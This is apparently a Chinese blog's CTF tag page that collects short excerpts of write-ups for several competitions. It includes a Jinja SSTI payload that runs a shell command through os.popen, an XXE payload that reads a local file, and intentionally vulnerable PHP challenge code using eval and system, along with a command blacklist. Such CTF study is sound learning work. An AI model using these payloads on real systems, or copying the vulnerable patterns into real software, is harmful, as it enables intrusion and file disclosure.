Ctf on HYH's Blog

LitCTF-2025

Mon, 26 May 2025 00:00:00 +0000

LITCTF2025

Web

星愿信箱

经过测试是SSTI，可以通过设置变量绕过黑名单

{% set os = (lipsum | attr('__globals__')) | attr('get')('os') %}
{% set popen = os | attr('popen') %}
{% set input_cmd = "head /flag" %}
{% set cmd = popen(input_cmd).read() %}
{% print cmd %}

nest_js

弱密码，登录就有flag

WuCup-2024

Sun, 01 Dec 2024 00:00:00 +0000

Web

Sign

题目介绍: POST浅浅签个到吧

HelloHacker

题目介绍: 你看到的不一定是真的

源码如下

<?php
highlight_file(__FILE__);
error_reporting(0);
include_once 'check.php';
include_once 'ban.php';

$incompetent = $_POST['incompetent'];
$WuCup = $_POST['WuCup'];

if ($incompetent !== 'HelloHacker') {
    die('Come invade!');
}

$required_chars = ['p', 'e', 'v', 'a', 'n', 'x', 'r', 'o', 'z'];
$is_valid = true;

if (!checkRequiredChars($WuCup, $required_chars)) {
    $is_valid = false;
}

if ($is_valid) {

    $prohibited_file = 'prohibited.txt';
    if (file_exists($prohibited_file)) {
        $file = fopen($prohibited_file, 'r');
        
while ($line = fgets($file)) {
    $line = rtrim($line, "\r\n");  
    if ($line === '' && strpos($WuCup, ' ') === false) {
      
        continue;
    }
    if (stripos($WuCup, $line) !== false) {
        fclose($file);  
        die('this road is blocked');
    }
}
  fclose($file);  
    }

    eval($WuCup);
} else {
    die('NO！NO！NO！');
}

?>

简单分析一下，post的参数中incompetent是HelloHacker

极客大挑战2024

Thu, 31 Oct 2024 00:00:00 +0000

100%的⚪

F12审计源码

Base64解密

baby_upload

%00截断，属于nginx解析问题，会把file.ext当作php文件解析

ez_http

MoeCTF 2024

Tue, 13 Aug 2024 00:00:00 +0000

一年一度的MoeCTF又来了，不过我好久没打过CTF了，前段时间一直在搞开发。

WEB

弗拉格之地的入口

直接进入 /robots.txt 发现 /webtutorEntry.php文件，进入即可拿到flag

LitCTF 2024

Sat, 01 Jun 2024 00:00:00 +0000

WEB

exx

这个标题以及整个界面，在NSS里面是做到过原题的，整体思路就是XXE

<?xml version="1.0" ?>
<!DOCTYPE note [
<!ENTITY hyh SYSTEM "file:///flag">
]>
<user>
<username>&hyh;</username>
<password>123456</password>
</user>

然后发包即可

SAS - Serializing Authentication System

base64加密之后传入参数即可

CTFshow-原谅杯

Sat, 23 Mar 2024 00:00:00 +0000

前言：练习题目，康复训练

原谅4

 <?php isset($_GET['xbx'])?system($_GET['xbx']):highlight_file(__FILE__);

题目给了这一段代码，但是经过测试，只有ls、rm、sh这三个命令能用

flag在根目录，没有直接读取文件的命令

但是这个sh命令是可以执行文件中的命令的，类似于下图

Pwn练习题

Tue, 05 Dec 2023 00:00:00 +0000

题目来源于NSSCTF网站

ret2text

[SWPUCTF 2021 新生赛]gift_pwn

先放到虚拟机里checksec一下，能看到开启NX，没有PIE，64位

放进64位的IDA反编译一下，可以看到在gift函数里留了后门

极客大挑战2023

Thu, 02 Nov 2023 00:00:00 +0000

前言

本校的极客大挑战还是要参加的，去年就很遗憾，今年得好好打一下，这次我会把能写的全写在博客里，同时也会学习一下其他的方向

组队的队友是外校大三的网工学长，很强的选手！

0xGame 2023

Sat, 07 Oct 2023 00:00:00 +0000

WEEK1

进去只有一个页面

源代码里没有东西，扫描后台也没有东西

放进火狐浏览器，F12进入调试器

在源码里发现flag

baby_php

源码如下

 <?php
// flag in flag.php
highlight_file(__FILE__);

if (isset($_GET['a']) && isset($_GET['b']) && isset($_POST['c']) && isset($_COOKIE['name'])) {
    $a = $_GET['a'];
    $b = $_GET['b'];
    $c = $_POST['c'];
    $name = $_COOKIE['name'];

    if ($a != $b && md5($a) == md5($b)) {
        if (!is_numeric($c) && $c != 1024 && intval($c) == 1024) {
            include($name.'.php');
        }
    }
}
?>

首先是a和b的MD5弱比较

SHCTF-2023

Mon, 02 Oct 2023 00:00:00 +0000

前言

写完week1感觉还是比较简单的，很基础

也是放假在家不想打游戏，拿这个消磨一下时间

WEEK1

babyRCE

题目源码

<?php

$rce = $_GET['rce'];
if (isset($rce)) {
    if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) {
        system($rce);
    }else {
            echo "hhhhhhacker!!!"."\n";
    }
} else {
    highlight_file(__FILE__);
}

过滤了部分命令和特殊符号

NewStarCTF-2023

Thu, 28 Sep 2023 00:00:00 +0000

Week1

泄漏的秘密

hint：粗心的网站管理员总会泄漏一些敏感信息在Web根目录下

访问该网站目录下的robots.txt可以找到第一部分的flag

扫描一下后台，发现www.zip备份文件，将其下载下来，在index.php中发现第二部分flag

MoeCTF-2023

Tue, 15 Aug 2023 00:00:00 +0000

前言

好久没玩CTF了，玩玩MoeCTF，就当是温故知新

西电的这个终端看起来好高级的样子

之前还没用过这种，长见识了

WEB

Web入门指北

DESCRIPTION: 解码获取flag

CTFshow-月饼杯&吃瓜杯

Sun, 25 Jun 2023 00:00:00 +0000

日常练习题题目来源：ctf.show

月饼杯

Web1_此月圆

题目附件中有的index.php

<?php
class a
{
	public $uname;
	public $password;
	public function __construct($uname,$password)
	{
		$this->uname=$uname;
		$this->password=$password;
	}
	public function __wakeup()
	{
			if($this->password==='yu22x')
			{
				include('flag.php');
				echo $flag;	
			}
			else
			{
				echo 'wrong password';
			}
		}
	}
function filter($string){
    return str_replace('Firebasky','Firebaskyup',$string);
}
$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>

这里只能GET传入一个名为1的变量，password是已经设置好为1的

HNCTF-2022

Sat, 17 Jun 2023 00:00:00 +0000

week1

2048

一个2048小游戏，先看看源码

在源码中看到游戏的js文件

找找看有没有flag

找到这一段代码

原来要超过20000分才弹出flag，这里直接把代码放到控制台运行，弹出flag

LitCTF-2023

Sat, 17 Jun 2023 00:00:00 +0000

我flag呢？

进去之后页面是这样

先看看网页源码呢

在注释里拿到flag

源码里也有一段彩蛋

导弹迷踪

进去之后好像是一个小游戏

先审查一下源码

在最下面看到Game files

Ctf on HYH's Blog

LitCTF-2025

LITCTF2025

Web

星愿信箱

nest_js

WuCup-2024

Web

Sign

HelloHacker

极客大挑战2024

100%的⚪

baby_upload

ez_http

MoeCTF 2024

WEB

弗拉格之地的入口

LitCTF 2024

WEB

exx

SAS - Serializing Authentication System

CTFshow-原谅杯

原谅4

Pwn练习题

ret2text

[SWPUCTF 2021 新生赛]gift_pwn

极客大挑战2023

前言

0xGame 2023

WEEK1

signin

baby_php

SHCTF-2023

前言

WEEK1

babyRCE

NewStarCTF-2023

Week1

泄漏的秘密

MoeCTF-2023

前言

WEB

Web入门指北

CTFshow-月饼杯&吃瓜杯

月饼杯

Web1_此月圆

HNCTF-2022

week1

2048

LitCTF-2023

我flag呢？

导弹迷踪